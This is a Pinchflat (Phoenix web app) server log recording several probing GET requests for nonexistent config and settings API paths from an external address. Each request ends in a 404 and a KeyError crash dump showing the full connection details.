{PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3415.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50092}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3415.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50092}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3416.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-ydBoFS2V0oAAQsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :ca (truncated) 21:08:44.937 [info] GET /api/v1/config 21:08:44.938 [debug] QUERY OK source="settings" db=0.0ms idle=92.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.938 [debug] QUERY OK source="settings" db=0.0ms idle=30.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.938 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.938 [error] #PID<0.3418.0> running PinchflatWeb.Endpoint (connection #PID<0.3417.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/v1/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3417.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50096}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3418.0>, params: %{}, path_info: ["api", "v1", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/v1/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-yf6WxPu_E8AAQuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3417.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50096}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3417.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50096}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3418.0>, params: %{}, path_info: ["api", "v1", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/v1/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-yf6WxPu_E8AAQuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: (truncated) 21:08:44.952 [info] GET /api/settings 21:08:44.952 [debug] QUERY OK source="settings" db=0.0ms idle=44.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.952 [debug] QUERY OK source="settings" db=0.0ms idle=26.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.952 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.952 [error] #PID<0.3420.0> running PinchflatWeb.Endpoint (connection #PID<0.3419.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/settings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3419.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50100}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3420.0>, params: %{}, path_info: ["api", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-yjRKiLzImQAAQwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3419.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50100}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3419.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50100}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3420.0>, params: %{}, path_info: ["api", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-yjRKiLzImQAAQwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {Pinc (truncated) 21:08:45.008 [info] GET /api/v1/settings 21:08:45.008 [debug] QUERY OK source="settings" db=0.1ms idle=82.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.008 [debug] QUERY OK source="settings" db=0.1ms idle=70.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.008 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.009 [error] #PID<0.3422.0> running PinchflatWeb.Endpoint (connection #PID<0.3421.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/v1/settings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3421.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/settings", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50106}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3422.0>, params: %{}, path_info: ["api", "v1", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/v1/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-ywoA3f_2-EAAHaC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3421.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/settings", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50106}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3421.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/settings", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50106}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3422.0>, params: %{}, path_info: ["api", "v1", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x (truncated) 21:08:45.052 [info] GET /api/stripe/config 21:08:45.053 [debug] QUERY OK source="settings" db=0.1ms idle=114.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.053 [debug] QUERY OK source="settings" db=0.1ms idle=100.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.053 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.053 [error] #PID<0.3424.0> running PinchflatWeb.Endpoint (connection #PID<0.3423.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/stripe/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/stripe/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3423.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/stripe/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50112}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3424.0>, params: %{}, path_info: ["api", "stripe", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], 